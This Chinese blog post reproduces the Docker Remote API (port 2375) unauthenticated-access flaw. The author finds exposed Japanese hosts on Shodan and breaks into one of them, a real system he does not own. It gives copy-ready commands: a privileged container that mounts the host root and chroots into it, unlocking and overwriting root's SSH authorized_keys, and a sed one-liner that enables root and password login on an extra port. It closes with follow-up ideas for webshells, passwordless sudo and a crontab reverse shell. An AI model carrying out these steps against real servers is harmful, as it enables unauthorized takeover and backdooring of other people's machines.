Docker Remote API未授权访问漏洞复现
在前一篇文章中,我大致分析了EXIN挖矿木马主要是通过docker 2375端口未授权访问来实现入侵的,虽然这个漏洞我很早就知道了,而且关于这个漏洞利用的文章早在两年前就有了。不过我是第一次在实际案例中遇到,我还是决定复现一下,作为经验积累。
由于docker安装后是默认不允许远程访问的,所以很多小白可能就直接搜索网上的文章开启dcoker远程访问,然后照着操作。虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。
至于如何开启docker远程访问,网上有很多文章,我这里就简单提一下。
为了方便复现这个漏洞,我打算直接在公网上找开放了2375端口的主机演示。因为前段时间遇上shodan十周年庆,一美元即可充值会员。所以这里就直接在shodan上搜索国外开放了2375端口的主机。
这里以我搜索的关键字为例,最后要加上docker关键字排除2375端口被用作其他用途的情况,提高搜索准确率。
port:”2375″ country:”JP” Docker
这里我们在shodan上随便选一个ip做测试。
可见我们已经测试成功,显示了当前主机已经运行的容器。不过很明显之前已经被人搞过了。先把挖矿的容器清理掉,那么我们接着搞。
我们用下面的命令,在对方主机上创建一个busybox的容器,其他镜像也行。不过busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。
docker -H tcp://ip run --rm --privileged -it -v /:/mnt busybox chroot /mnt sh
简单解释一下参数的含义:
–rm 容器停止时,自动删除该容器
–privileged 使用该参数,container内的root拥有真正的root权限。否则,container内的root只是外部的一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并且可以执行mount。甚至允许你在docker容器中启动docker容器。
-v 挂载目录。格式为 系统目录:容器目录
chroot就是把根目录切换到/mnt,最后的sh就是我们使用的shell。
chattr -aui /root/.ssh/authorized_keys
这里写入我们主机的ssh公钥。至于怎么产生自己的ssh公钥和私钥,我在之前的一篇博客中写过,就不在这里赘述了。链接为
Redis 未授权访问漏洞 复现
两者方法都是相同的,都是向目标服务器写入自己的公钥。
为了方便,直接用sed命令一键修改。
sed -i -e ‘s/\#Port 22/Port 22/g’ -e ‘/^Port 22/a\Port 2433’ -e ‘s/\#PermitRootLogin/PermitRootLogin/g’ -e ‘s/PermitRootLogin no/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin without-password/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/g’ -e ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ -e ‘s/GSSAPIAuthentication yes/GSSAPIAuthentication no/g’ -e ‘s/GSSAPICleanupCredentials yes/GSSAPICleanupCredentials no/g’ /etc/ssh/sshd_config
systemctl restart sshd
不过这个是可选的,因为有的云主机并没有限制root登录。
渗透成功!
引用网上的一些总结流程:
- Docker是以root权限运行的,这是所有姿势的前提
- Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考redis未授权访问漏洞,将宿主机的/root/.ssh目录挂载到容器上,然后写入公钥。如果有web目录的话,最差也能上一个webshell。
- 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下(通过查看/etc/ssh/sshd_config目录),然后修改/etc/sudoer中的文件,配置为sudo免密码,切换为root
- 还可以通过crontab写计划任务反弹shell
微信赞赏支付宝赞赏
目前为止有一条评论